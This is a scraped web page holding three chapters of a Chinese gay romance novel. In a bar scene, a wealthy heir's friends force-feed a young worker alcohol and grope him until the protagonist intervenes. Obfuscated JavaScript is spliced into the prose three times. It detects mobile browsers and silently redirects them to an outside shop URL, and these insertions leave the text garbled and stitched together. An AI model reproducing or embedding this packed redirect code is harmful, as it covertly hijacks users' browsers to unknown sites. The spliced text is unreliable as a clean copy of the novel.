;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848853|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滴吧,现在出租车应该打不到了。” 说完贺欲燃转身,进了驾驶位。 正准备开出去,车窗忽然被敲了两下。 贺欲燃疑惑的按下车窗按钮:“还有事?” 江逾白黑色的冲锋衣领子立起来,几乎快盖住他的半张脸,他小声询问:“燃哥,最快的滴也要二十多分钟,您方便载我一程吗?” 贺欲燃对上他那双再次亮闪闪的眼睛。 你也就求我的时候看起来顺眼点了。 “上来吧。” 一路无言,裴意在车后座呼呼大睡,贺欲燃看着旁边正外头观赏风景的江逾白,发现这或许是个很好的问话机会,毕竟两个人独处的时刻不是常有的。 “裴老师给你补习的事我听说了,打算补多久?” “周六周日,一直到这学期期末结束。”江逾白交代。 “这样啊。” 临期末还剩一个月,那还不算久。贺欲燃心情舒展开不少:“去哪里补想好了吗,我听小裴说你们俩都不太方便。” 江逾白“嗯”了一声:“我家不方便,裴老师家有老人要休息。所以还在商量。” “裴老师家很远的,跟你家刚好是相反方向。”贺欲燃又笑的温柔:“来我的清吧怎么样,地下室有个很安静的房间,裴老师之前也经常去我那里写教案。” 贺欲燃下意识觉得江逾白会推辞。 “可以,我和裴老师说一声。” 贺欲燃:“?” “那就麻烦燃哥了。” 贺欲燃感觉不对劲,就这么,水灵灵的说通了?? 车子行驶了一段。 贺欲燃期间瞄了江逾白好几眼,他在专心致志的看手机,下半张脸埋进高高的冲锋衣衣领,眼睛半阖,白如葱根的手指上下滑动屏幕,安静又漠然。 “小白,你长这么帅,喜欢什么样女生啊?”贺欲燃笑着试探道。 手机里面是很无聊的小游戏跳一跳,江逾白伸手按了一下,没跳过去,界面显示重来一次的字眼。 他按了退出:“我不喜欢女生。” 贺欲燃挑眉。 现在的孩子都这么直接? 还没等他反应,身边的人又开口。 “燃哥,你也不喜欢女生吧。” “?” 到底谁试探谁? “你眼神挺好的。”贺欲燃只是笑笑,毫无波澜的看着前方的车辆。 “都是gay,多少能感应出来一些。”江逾白说。 两个人静如止水的像是在聊一个特别平常的事。 贺欲燃觉得“gay”这个词,在他那张淡漠又凌然的脸上说出来,有点搞笑。 贺欲燃又问:“那你还感应出什么了?” 气氛安静了几秒,江逾白终于抬眸看向他,神色自若:“感应出你喜欢裴老师。” 说实话,江逾白总是能一语惊人。 贺欲燃的眼眸闪过一丝诧异,转瞬即逝,似笑非笑的看向他。 “有吗?会不会是你的错觉?” 贺欲燃以退为进。 江逾白沉默片刻:“可能。” 贺欲燃:“……” 怎么跟预想的不一样,他以为江逾白会追上来问的。 人气到无语的时候是会笑的,贺欲燃觉得自己笑的有点可悲:“但是话又说回来,裴老师人帅心善,可能是个gay都会喜欢上他吧。” 江逾白不接话了,只是又往自己的衣领里埋了埋脸。 “难道你不喜欢吗?”贺欲燃乘胜追击。 车内很安静,只能听见裴意隐约的打呼声,江逾白沉默的望着窗外,说了句:“喜欢。” 贺欲燃嘴角轻勾,期待他接下来的话。 “裴老师人很好,讲课也认真。”江逾白突然正色:“我喜欢跟裴老师相处。” “……” 跟谁玩儿无心呢? 装傻充愣心机boy,滚出这个地球!! 贺欲燃又被气笑了。他确实没想到江逾白会没来由的说这么一句,兜兜转转还绕上圈子了,倒显得贺欲燃疑心病。 “你说得对,小裴人很好。”贺欲燃顺着他说。 既然江逾白选择继续隐瞒,贺欲燃也不在多追问,其实答案已经很明显,两个人不过是在心知肚明下一遍遍的试探着对方罢了。 贺欲燃转了方向盘,车子开进一条小道。 10. 那是我情敌 “这小孩这么有意思?你遇上对手了啊,贺欲燃。”楚夏听着贺欲燃和他那个小情敌事件的来龙去脉,整个人打了鸡血一样兴奋。 贺欲燃琛白了他一眼:“你巴不得看我感情受挫是吧。” 楚夏心虚的歪了歪嘴,然后弥补道:“哪有啦,毕竟我们燃哥身后的男人不请自来,倒还没遇到几个能跟你旗鼓相当的对手呢,我有点期待嘛。” 楚夏说的没错,贺欲燃谈的恋爱不多,但这些人里面有哭着闹着要和贺欲燃复合的,还有被他迷的连分手都心甘情愿的,美其名曰,他这样好的人,我不能耽误他。 “虽然你喜欢谁我管不着,但我还是想不通啊,喜欢你的人那么多,你干嘛非要追着直男不放啊?”楚夏眉毛挑的一高一低,诅咒他:“我可告诉你,到最后要是没追到手你别跟我哭。” 贺欲燃像听到了什么笑话:“你见到我因为追不上哪个男人哭么。” 楚夏阴阳怪气的“哟”了一声,说:“很有底气啊?怎么,有进展?” 回忆起裴意的神经大条,和把他好兄弟的纯挚眼神,贺欲燃从喉咙里挤出一声比哭还难听的笑:“就是因为没底气啊。他挺直的,可能是真把我当哥们了。” “啊?那可怎么办呀。”楚夏假惺惺关心他一秒,紧着就咯咯笑起来:“你不会真的要趴在我怀里哭了吧~” 印象里只有他趴在贺欲燃怀里把美瞳都哭划片的份,还没见过贺欲燃为了男人哭的一把鼻涕一把泪。估计会很狼狈,但是他长的很爽,哭起来应该也挺帅的吧。 楚夏咬着咖啡勺浮想联翩,突然有点兴奋了:“但我还挺想看你哭的,要不你还是哭吧,别把鼻涕抹我身上就行。” 贺欲燃不知道他的小脑袋瓜里在想什么,也不太想知道。他礼貌笑笑:“遗愿要写在遗嘱里,而不是讲给我听。” “……”楚夏。 好嘴。 楚夏吃瘪了,一拍桌子:“少装啊,你不也为了前任分手掉过小珍珠。” “你一定要提前任?”贺欲燃根本没在怕:“要我把你那些好哥哥拿出来……” “啊啊啊不说不说!”楚夏要哭了,尾音娇娇的:“你就会拿捏我。” 贺欲燃哄了他两句,虽然笑的还是很来劲。 楚夏咬着咖啡勺“嗯……”了一会儿,恹恹道:“认真的,裴意纯直男,纯的不能再纯了,甚至有时候我都觉得他傻乎乎的,钝感力太强了,你这样我挺怕你会受伤。” 出奇的,贺欲燃安静了一会儿,突然认真的回答他:“喜欢归喜欢,谈不谈另一码。” “裴意那么幸福,稳定的工作,圆满的家庭,我怎么着都是个男人,不应该强行挤进去,追是因为我喜欢他,这是我的事,但感情还是不能自私,要看他选择。” 他其实喜欢过很多人,但也仅仅是因为一些所谓的“感觉”所谓的“温暖”或者是新鲜感,去想追谁,但他并不自私,一直都是保持着进退有度,对方点头,他就前进,对方摇头,他就笑笑,温柔的说抱歉。 楚夏知道他的为人,点了点头:“我知道,就是怕你陷太深会受伤嘛。” 某人的脸在脑海里像倒影像一样迅速闪过,滑落的眼泪,在冰冷的雪地里砸出一个滚烫的洞,被掐灭的烟,转身时被某人拉住的袖子,还有那句“贺欲燃,我刚认识你的时候你不是这样的。” 他摇摇头:“你放心,我这人见好就收。” 目光落在窗外忽然进入自己视线的气球上,它旋着冷风腾空往上,慢慢脱离自己的视野,飘向无法预知的某一方,居无定所。 贺欲燃把视线收回,一点点聚焦在楚夏的脸上,笑的释然:“况且,我可能也不擅长跟一个人相处太久。” 太久,他最丑陋的一面就会暴露,到最后甚至都做不到好聚好散。 楚夏明白他的意思,但又不是很明白,挠挠头:“那你对裴意,是不是压根就没那么喜欢。” 贺欲燃只是轻轻搅拌着手里早已凉透的咖啡,看着那层拉花融开:“谁说我不喜欢的。” 贺欲燃托腮回忆起来:“他笑起来很好看啊,说话也温柔,还有他的性格,一看就很会照顾人。” 楚夏抬眼看他:“但你也就只喜欢这些。” 贺欲燃凑近,那双狐媚的眼眸映照出楚夏的脸:“其实,这就足够了。” “短时间内说喜欢一个人很不负责,不如说他身上的特质很吸引我,恋爱不过是精神上的利益往来,大家都很忙,没空去把谁看的透彻,心里面的那些自我藏一藏也没什么不好。” 楚夏笑了,不得不感叹他还真是看的通透:“干嘛,别跟我搞跟前任感情受挫不相信真心那套。” 一帧帧画面胡乱的播放在贺欲燃的脑海,最后又一点点变浅,直至恢复空白。 “瞧你说的那么矫情。”贺欲燃扯了扯嘴角,却显得苦楚:“这三段恋爱谈下来结果都一样。真心这个东西,存在过一瞬间就够了。” 他早就不再期待有人能拨开云雾,找到并爱上他内心深处伤痕累累的自己。 真不真心的太矫情,太过于大言不惭。 贺欲燃这些失败的感情经历,尤其是第一段,楚夏都是第一目击者,他有些心疼:“哎呀别提那些了,都聊跑偏了,问你现在怎么想的。” “事情又不会按我所想的来。”贺欲燃笑笑:“裴意要是愿意我求之不得,再之后都是两个人的事了,走一步看一步吧。” 楚夏摇头笑了:“你别把人家掰弯了不负责啊,我得告诉裴意防着点。” 他知道贺欲燃不会是不负责的类型,纵使每段恋爱的结局都是分道扬镳,但楚夏知道,没有一段是因为贺欲燃不够负责用心。 “没准不是我掰的。”贺欲燃耸耸肩:“不是还有一个整天黏着的,重点对象是谁还不好说呢。” “那你对那个小情敌呢,怎么看的。”贺欲燃难得喜欢上谁,也难得遇上个情敌,楚夏挺好奇的。 贺欲燃翻翻白眼:“什么怎么看他,最后结果是看裴意怎么选。” 他说完,靠在椅背伸了个懒腰:“无所谓啊,我又不能阻止人家喜欢,他要争我就跟他争一下呗。再说了。”他眼睛闪了闪:“他也挺有意思的。” 楚夏歪着嘴,看着贺欲燃不知道哪来的兴奋劲,想说,怎么感觉你对你情敌更感兴趣。 傍晚八点左右,贺欲燃简单洗了个澡,开着车和楚夏出了门。 酒局上的人贺欲燃基本不认识,都是楚夏的朋友,或者他朋友的朋友。贺欲燃陪着楚夏来,单纯是担心这货喝酒不要命,周围的那些人手脚不老实对他做点什么。 “介绍一下啊我朋友,贺欲燃,绝绝的大美男!”楚夏揽着他的肩膀介绍。 贺欲燃被拉回神,僵硬的笑了下:“你们好。” 那几个男人看到贺欲燃,直接凝固了。 “卧槽,这也太好看了吧?诶楚夏,你有这么帅的朋友不介绍给我们啊?”一个男人将贺欲燃浑身上下打量个遍。 贺欲燃蹙眉,那种凝视的目光,让他犯恶心。 楚夏推了推那男的:“我警告你啊别打我哥们主意,他看不上你们。” “好好好,长这么好看我们几个也确实配不上。”为首的男的还挺有自知之明的,然后他又问:“不对啊,这么帅在圈里应该赫赫有名啊,怎么没听说过呢?” “我不混圈。”贺欲燃露出自己的招牌微笑:“不过和李公子还是认识的。” 贺欲燃虽然贺欲燃是gay,但他不怎么混圈,他觉的脏,也觉得幼稚。虽然他和楚夏是朋友,但相比之下,楚夏要爱玩很多。 “啊我想起来了,李公子之前是不是追过你啊?哎呦喂,阵仗大的哟,送的奢侈品装了六个超跑,结果你愣是没同意。”男人一拍手掌,整个人都激动起来:“是你吧?是你吗?” 贺欲燃笑容不减,内心一万匹草泥马奔过。 “哪有那么夸张,而且都多久的事情了。” 圈内人都知道,李公子追贺欲燃的时候可谓是大张旗鼓,买超跑,奢侈品一车一车送,甚至股份都送他兜里,为了他跟贺军都混了个烂熟,但贺欲燃一点情没领,东西也被一一退了回来,闹的整个圈子都知道。 死缠烂打的神经病,他不太想回忆。 “诶,那就对了,我还说呢,李公子那么心高气傲的一个公子哥儿,什么人能值得他这么下血本儿啊。”男人眯眯眼,打量他那张脸蛋,感慨的咂了咂嘴:“果然百闻不如一见,也算是理解他了。” 贺欲燃忍住想扇一巴掌的冲动,咬着牙扯起嘴角:“都过去了,我和李公子不合适……” 楚夏打断他俩,挡在贺欲燃面前:“哎呀他今天是陪我来的,你们少打他趣儿啊!” “没有嘛就是好奇啊,这么帅,是不是追他的人都排到法国去了?”男人看不出好赖脸似的继续问。 “你以为谁都像你们啊?我哥们长得帅人也纯爱,谈的对象不超过这个数。”楚夏伸出手,自豪的比了个5。 这是实话,贺欲燃虽然性格轻浮,但也只是性格,他谈过的恋爱只有三段,多则一年少则也有大半年。 几个男人相互看看,然后哄堂大笑。 “开玩笑吧?长得帅还不怎么谈恋爱的早死光了。”男人像听到了什么笑话:“你说什么是什么吧。走了走了,李公子来了!” 楚夏白了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848854|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,膈应俩字写他脸上了:“草,谁特么要他信。” 他个子瘦小,挡在别人面前根本起不到什么作用,贺欲燃盯着楚夏傲娇的后脑勺,忽然觉得又可爱又搞笑:“你气什么呢,傻得很。” “诶李公子,这儿这儿!没事没等很久,来来来主角儿来了大家进去吧!” 贺欲燃往后看了一眼,催促的碰了碰楚夏的肩:“行了,进去吧,李靖宇过来了,别跟他碰上。” 听他这么说,楚夏只好转身打开了酒吧的门:“欲燃,不好意思啊,我朋友没告诉我是李靖宇组的局,要不就不让你陪我了,还惹得你膈应。” 贺欲燃愣了一下,笑着推推他:“担心多余了,今天人这么多怕什么,再说,没准他都注意不到我。” 楚夏还有些踌躇:“要不……” 贺欲燃直接把他扯进去:“走了,再站一会儿他真看见我了啊。” 走进一家吵闹的酒吧,一股浓浓的烟酒味瞬间充斥鼻腔。 贺欲燃爱喝酒,但不如说是爱品酒,调酒,他觉的微醺的感觉令他着迷,是一种格调。 但他对酒精上头的感觉并不感兴趣,而且他讨厌意识不受自己控制,也不喜欢这种鱼龙混杂之地。 吵闹的蹦迪音乐在身后响个不停,贺欲燃跟着一行人来到前台开包房。 “210,有需要按铃就可以了。” 贺欲燃几乎是不可置信的看过去,熟悉的目光,熟悉的情形,陌生的地方。 江逾白?? 又是他? 这孩子他妈的是游戏npc吗?到处兼职啊? 裴意看着贺欲燃看着面前这个前台小哥呆愣的眼神,把他俩互相扫了两遍:“认识?” “不是。”贺欲燃扶额。 楚夏的疑惑在眼睛里闪过,突然阴涔涔的笑起来:“怎么着啊?看上了?” “那是我情敌。” 楚夏迈台阶的脚空了,差点摔个狗啃泥。 “来来来今天放开了喝我请客啊!”其中一个样貌还算可观的男生徒手开了一瓶黑桃A,酒沫瞬间迸发而出。 “呜呼!” “来来来全场李公子买单!” 贺欲燃坐在一旁,看着灯红酒绿下的这些人,自顾自的在一旁喝酒。 这是他刚点的一杯果酒,名字还挺好听的,叫狂欢,他以为会酒如起名很有劲,结果到嘴里跟便利店里买的果酒一点区别没有。 并且调酒的比例也不协调,味道奇怪,难喝。 百无聊赖时,屋内忽然浩浩荡荡进了一群男生,一个个长的年轻又干净,为首的让他们排排站好,李靖宇正对着他们坐下,摸着下巴来回扫视。 他觉的膈应,但也不能离开,楚夏这么个爱玩儿的孙子在这,他能怎么办。 基本上各个老总和少爷都怀里一个,连楚夏都挑了一个身材健硕,长的精神的小伙。现在正装醉的往小伙怀里摊:“哥哥我喝不下了,你帮我喝。” 那小伙一看就是个标准直男被拉来凑数的,僵硬的搂着楚夏,将面前的酒一饮而尽。 楚夏拍手叫好,搂着帅哥的脸就亲了一口,夹着嗓子喊:“哥哥真棒。” 小伙咧嘴笑了一下,那笑的,比哭还难看。 贺欲燃坐在对面实在忍不住,憋的下嘴唇都要咬裂了。 这年头,钱难挣屎难吃。 “少一个,小艾呢?”李靖宇正满脸不悦的跟为首的人说着。 为首那个管理员俯首称臣道:“小艾今天生病了没来,你看看这里有没有喜欢的,您挑一个。” 李靖宇闻言大不悦,喝了点酒,情绪上头:“我不告诉过你了,我来了小艾也必须来!我不是提前给你打过招呼了吗?” “哎呦不好意思,实在是不好意思,但小艾今天真来不了了,李公子体谅一下……” “草,让谁体谅你呢?会不会说话?!” 这酒吧不干净的勾当之所以可以这么明目张胆,完全是因为这个李靖宇罩着,上上下下那都是把他当祖宗供着。管理员汗了一把:“李公子您别生气,不行我去分店给您调来一个,别生气!” 李靖宇完全不是多生气,他只是喜欢别人捧着他满足他:“快点儿!” 大概十分钟后,管理员恭恭敬敬的打开门,领进来三个男孩:“李公子,你看这些,有没有喜欢的。” 贺欲燃抬头看去,看到个十分熟悉的身影。 正中间,身材最高挑,正低着头的男孩,正是江逾白。 开什么玩笑? 他不是酒吧前台吗? 他看着这三个男生里最拘束的江逾白。 靠,是被逼来凑人数的。 11. 你喝了酒很呆 江逾白的长相太脱俗出众了,在那些浓妆艳抹的小鸭子中间简直是一股清流,李靖宇还偏偏最喜欢这种类型。 “诶诶,那个不是你情敌?就那个……什么什么白?”楚夏急急忙忙拍着贺欲燃的肩膀。 他一提醒,贺欲燃满脑子都是昨天江逾白在车里跟他装疯卖傻的画面。 先不说他是不是自己情敌,就说他们只是萍水相逢,根本算不上什么熟人,他什么样跟自己有什么关系。 贺欲燃喝了口酒,镇定下来:“啊,是。” “他不是前台吗?这么小出来干这个?”楚夏不可思议的问:“玩这么开?” “被骗的。”贺欲燃说:“你没看姓李的要发火么?被拉来凑数的。” “我天。”楚夏看好戏的说:“你情敌今天惨了。” “怎么?”贺欲燃皱眉。 “他也就十八九吧,还这么年轻。”楚夏压低了声音说:“那几个玩意乱的很,我上次听说,李靖宇给一个小鸭子搞的肠壁破裂,险些丢了人命,也是这店里边儿的!” 贺欲燃喝酒的动作停住了,一口烈酒在嗓子眼上上下下,始终咽不下去。 不知为何,他脑海里忽然闪过江逾白穿着干净纯白的校服,站在校门口冲他笑,说:“燃哥更好看,我要是女生,也会很喜欢你。” 画面猛的一闪,裴意跟他说:“他英语成绩很好,是个好学生……” “家庭条件不好……没人管他……” 李靖宇翘着二郎腿,在三个人之间来回扫荡,最终,停在了江逾白面前:“就这个了,过来。” “那个!” 贺欲燃拍案坐起,楚夏被吓一跳,直腾腾撞上身后的墙角:“啊呦!” 所有人齐刷刷看过来,也包括江逾白。 他傻站了一会儿,径直走到江逾白面前,牵起了他的手:“我,也挺喜欢这个的。” “噗——”楚夏把酒吐了。 贺欲燃回头,朝李公子莞尔一笑:“李公子,你看,能不能……让我一下?” 江逾白错愕的低头看他,唇角无意间碰上他的发顶。 他应该是刚洗过澡,发间淡淡的风雨兰清香像股暖流,瞬间瓦解了烟酒刺鼻的味道,轻轻的,蜿蜒的缠绕住鼻息,直到周身只剩下蔓延开的花香。 气氛有些紧张,毕竟这种跟李靖宇明面上抢人的画面不是天天都能有的看。 李靖宇倒是面不改色,无所谓的摊摊手:“你喜欢我当然可以让给你啊,认识这么久了,我也不想扫你兴嘛,但是……”他朝贺欲燃微微颌首:“今天晚上,你得陪我喝,这要求,不过分吧?” 他笑容里的意味一眼明了。 包间内迅速起哄给李靖宇推波助澜,谁人不知道贺欲燃是李公子叱咤gay圈多年唯一把不下的弟,献殷勤是次要,看热闹才是真的。 舍己为人的都是傻子。 贺欲燃闭眼。 算了。 他刚想说话,只感觉手心被扫了一下,指尖温热。 他侧抬头,对上江逾白平静的双眼。 “不用,我和你喝。” 你他妈? 贺欲燃心里骂娘,你知不知道你在说什么? 李靖宇挑眉,包厢里稀稀疏疏响起笑声。 贺欲燃还想找补什么,江逾白已经抽回自己被他握着的手。 “开始吧。”他临危不惧,有一种喝完了就立马走人的潇洒。 但事实哪会那么简单,他被几个大男人包裹着,周遭刺鼻的烟酒味和汗味混在一起,他有说不出的恶心。 他双颊被人捏着,嘴巴不得不张开,一瓶刚开封的啤酒直接塞进他嘴里。 来不及反应,冰凉辣口的酒水汹涌的灌了进去,从喉头到胸腔,连吞咽的机会都没有。他头被人狠狠按着,动弹不得,一杯接着一杯下肚,胃里已经翻江倒海。 “哈哈哈哈这一看就是个雏儿啊,连酒都不会喝。” “新来的吧,年轻着呢,看着顶多也就大学生。” “真白净,诶,你们好了能不能送我屋,我给他灌点药,感觉他这里,也挺有料的嘛……”男人贱媚的说着,手指探向他的下\\身。 江逾白混沌的脑子霎时间清醒,发狠的捏过男人的手腕:“别碰我。” 男人似乎没想到江逾白手劲会这么大,灯光昏暗,他眼里忽暗忽明的犀利吓得男人一时说不出话。 “我草。”李靖宇不恼怒,反而兴奋起来:“挺辣啊。”他在周围人嘲弄的笑声中捏了一把江逾白的腹部,然后瞬间感觉不对。 面前这个柔弱白净的男生,肌肉好像比自己都大块。 “草,妈的玩儿我啊?肌肉这么大块是零儿吗?”李靖宇不可置信,气的眉毛横飞。 旁边人捏了把江逾白的上臂,惊道:“我靠,假的吧,肱二头肌这么结实,撞号了吧你俩。” “滚滚滚。草,最他妈膈应这种壮的,倒胃口。”李靖宇悻悻然,烦躁的点了根烟。 “我来我来,都别跟我抢啊后边儿排着去。” 是刚才被江逾白拍开的男人,是个女装大佬,打扮的很夸张,劣质香水味冲的江逾白想吐,本就晕乎的脑袋一时更不清醒了。 “哎呀帅哥,刚刚是我不对,我不对好不啦?别生气,反正陪谁都是陪嘛。” 他贼心不死,嘴上认错,手倒是实诚的往江逾白衣服里伸,刚掀起衣角,手腕忽然被人一把按住,还不等他反应,那股力量就已经将他拎了起来。 “啊啊!痛!” “总要有个先来后到吧。” 贺欲燃皮笑肉不笑的盯着他:“我刚说我喜欢,你没听到么。” 男人眉毛竖起来:“你他妈有病啊,他也没说要跟你!” “他说跟你了吗?”贺欲燃没打算理他,抓起江逾白的手,将人扶了起来。 眼看到嘴的肉被横刀夺爱,男人干脆上手抢人。 他动作太慢,贺欲燃粗暴的将人摔在隔壁沙发:“要我再说清楚一点吗?” “我叫你滚。”他拦在江逾白身前,冷道:“他今晚哪都不去。” 江逾白半睁开眼,只看见贺欲燃脑后那个不长不短的小辫子。那柔软的发丝间淡淡的风雨兰香味此刻如同这句话一样,柔和,又肆意的入侵着他的感官,一分一寸。 “你!你……”男人支支吾吾,攥着发红的手腕半天都没爬起来。 李靖宇热闹看够,忍不住乐了:“哎不是,你俩因为个模子吵啊?多大点事啊。”他说着,顺藤摸瓜的牵起贺欲燃的手,贪婪的揉搓着:“欲燃,刚哥不是说了嘛,你陪哥喝,都别说这男的让给你,我给他包了送给你都简单啊。” “就是啊哈哈哈哈哈!” 周边风言风语,贺欲燃却始终静静的听着,半天都没动。 李靖宇见他不躲,索性一手摸上他屁股,顺势就要把他往自己怀里带。 楚夏慌慌忙忙的跑过来:“哎呀李公子,快别开玩笑了,他今天是陪我来的,别……” 他一口气还没喘完。 “啪”清脆的一声,贺欲燃的手悬在半空没落,李靖宇早已一个趔趄栽了下去。 全场鸦雀无声…… 他拍了拍手掌的灰,像是摸到了什么脏污,狭长的双眼却轻轻上挑,流露出一种不言而喻的挑衅:“别叫了,我对你这种货色不感兴趣。” 他在众人惊讶的目光中,笑的明媚:“手脚不干净的公狗。” “我草!你他妈想死是不是!”李靖宇猛地站起身,一把薅住了贺欲燃的衣领。 周围的人不知该帮谁。一个富二代李公子,一个官二代贺欲燃,这俩人他们谁都不敢惹,只能傻傻的站在原地。 “放手。”贺欲燃推他。 李靖宇极好面子,掐的更紧:“你敢打我?!不过是他妈图新鲜追了你两天,认不清自己什么货色了是吧?!” 忽然,贺欲燃只感觉自己被身后的一股力量拽了一下。 “咣”。 结结实实的一拳落在李靖宇脸上,印出一块深深的血色。 贺欲燃还没缓过神,那双手就拉住了自己的胳膊,位置前后互换,他一抬头,就看见江逾白在紫蓝色灯光下的侧脸。 “他说,放手。”他发狠的攥着拳头,那双看起来忧郁淡然的眸子已然结起了一层寒霜:“听清楚了么?” 这声音有着宿醉时不该有的沉稳和冷静,字字句句都带着刺骨的寒意,音量不大,却直击人心。 李靖宇狼狈的抬头,蹭了把鼻子,一手的血。他吓得愣住几秒,气急败坏:“他妈的你们都死人啊?愣着干毛啊?!” 李靖宇身边那几个小弟就要上去按他俩。 “你可以试试动我。”贺欲燃音调提高,却依旧面不改色,从容的让人发恨:“恐怕李公子那笔赃款是怎么悄无声息流出去的,你比我更清楚。” 他仰着下颌,居高临下的看着眼前的人,勾起的唇角有着一丝让人不易察觉的狡黠。 李公子眼珠子瞪大了一圈,整个人像个断了发条的时钟。 “我不是那种喜欢掐人把柄的人。”贺欲燃冷声道:“但是也别逼我,我这人,不是很念旧情。” 贺欲燃父亲是银行行长,虽说家庭不是什么多有权威的暴发户,但圈子内一些秘密,特别是这些事,没人比他们家更清楚。 所以商业圈里只要是稍有名气的,到他爸面前都得笑脸相迎。 李靖宇一口恶气没出去,敢怒不敢言的衡量着他。酒吧暗红色的灯光下,那张近在咫尺的脸颊美艳而危险。 “好,好……”他憋的脸色青红皂白,指着他咬牙切齿的说:“贺欲燃,你真有种。” 李靖宇嚣张跋扈,有权有势,自小就没人敢惹,那些账目虽然称得上是把柄,但只要李靖宇想,多费些功夫人力,可能随时被抹平,找不到一点痕迹。 虽然两家势力也存在悬殊,但贺欲燃不打算从事经商,贺军也快退休,能给他报复的机会很少。更何况李靖宇虽然有权有势,但在上海这种群龙混杂之地倒还排不上赫赫。 贺欲燃也懒得和他们周旋,拉着江逾白就走出包间的门。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848855|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “贺欲燃。”李靖宇声音悚然:“今天的事还没完。” “你最好,也别有什么把柄落在我手里。” 贺欲燃稍顿,最后抬脚,大步流星的离开了包间。 楚夏也不敢留,小跑跟了上来。 “这个死李靖宇!就该把他手脚剁了扔江里喂虾米!” “欲燃,你说他不会真干点什么吧?诶没事,他再牛也就是在这片牛一点,我还认识比他更厉害的上市公司总裁呢,虽然是前男友吧,但是但是,只要我发话,他肯定会帮你的,你别太担心啊。” 贺欲燃无心听他说什么,江逾白从包间出来就呕吐不止,可能一时半会都离不了人。 他回头说道:“小夏,我叫了柯漾来接你,马上到了,你先回去。” 楚夏欲言又止,只好点点头:“那,好吧,那你路上小心。” 江逾白吐了半天,一直到头昏脑胀吐不出什么东西,他才站起身,然后拧开水龙头胡乱的洗了把脸。 他转过头,还没等开口,一颗微黏的糖果就碰上了自己的唇角。 贺欲燃指尖是冰的,轻扫过江逾白火辣的嘴唇,他惊了一下。 “荔枝味的,你刚吐完嘴里肯定发苦。”贺欲燃说。 江逾白双颊红晕,眼神早已飘忽不定,为了看清贺欲燃,努力睁着眼睛的样子特别呆。 “燃哥。”他哑着嗓子喊他。 “还想吐吗?”贺欲燃问。 “不是。”江逾白摇摇头,捋直了舌头说:“刚才那个人,会不会……” 他脑子顿,有些想不出形容词,眉毛都跟着用劲儿,贺欲燃很想笑:“你害怕啊?” 江逾白愣了一下,迷离的眼睛怔怔的望着他,在玻璃的折射下,闪着细碎的光:“不是。” 光又灭了,他缓慢的眨了一下眼睛:“是。” 贺欲燃不懂了。 “我害怕他万一,他去欺负你。”意识到自己用词不对,江逾白又匆忙找补:“不是,是去找你麻烦。” 明明脑袋沉的都抬不起来了,却还是硬撑着抬头望他,嘴里那颗荔枝糖被他含在腮边,脸颊鼓起来一小块。 啊……纯情男高。 裴意跟他好像也不算亏。 贺欲燃看了好一会儿,才笑着说:“他能把我怎么样,我这么大人了,难不成站着等挨打?” 人喝醉了眼睛就会变得很清澈,江逾白滚了滚眼珠:“他会打你吗?” “……” 贺欲燃笑起来,忍住想戳他凸起来的腮边的冲动:“搞不好哦,你今天不是打了他吗?万一他真的报复到我身上呢。” “那,”江逾白把糖果换了一边含,看起来是很认真的考量了一阵:“你可以报我家地址,让他过来找我。” 其实贺欲燃很想说,你喝多了就没那么烦人了。 “江逾白。”贺欲燃叫他。 “嗯?” “你不是在药店上班么?怎么又跑到这里来?” 江逾白眼神晦滞:“那是去朋友家帮忙的,我一直都在这工作。” 贺欲燃捏了捏眉心:“做多久了?” “一个月了。” 贺欲燃都被气笑了:“一个月还没点防范意识啊?你刚才在干嘛你知道吗?” “陪酒。” 江逾白看看他,又看看地面。 贺欲燃叹气:“辞了,以后不要来,还有。”他低头看看江逾白的手:“有些事用不着你插手,免得受伤。明白吗?” 江逾白低头,因为刚洗过脸,睫毛湿成几撮,在他深邃的眼窝留下一片阴影,显得乖顺无害:“嗯。” 对比刚才一拳把人揍的鼻子出血的模样,简直判若两人。 贺欲燃其实还想说,想说你年纪还小,这里水很深,不要以身冒险,把自己陷入危险之中。 但他不是很想教育自己的情敌。 他叹了口气:“能自己走吗?” 江逾白醉眼惺忪的看着他,轻咬着自己的唇瓣,直到泛白,他才摇头,掀起眼帘小心翼翼的看了一眼贺欲燃。 “扶着我,送你。” 贺欲燃拉着他的手腕,低下头扶着他往出走。 “以后不要喝酒。”贺欲燃忽然说,耳鬓的头发滑落,挡住他的侧脸:“你喝了酒显得很呆。” “嗯。”江逾白点点头。 贺欲燃又想想,说:“看起来很蠢。” 好吧,这句是私人报复。 “……好。” 江逾白又应答下来,他扭头盯着贺欲燃的后脑,那涣散的目光深邃了几分,像是清澈宁静的水面忽而掀起的水花,顺着风向荡漾开来,只是在贺欲燃再抬起头时,又瞬间恢复了平静,无迹可寻。 走出厕所门外,江逾白忽然定住了。 贺欲燃疑惑转头。 “工资。” “啥?” 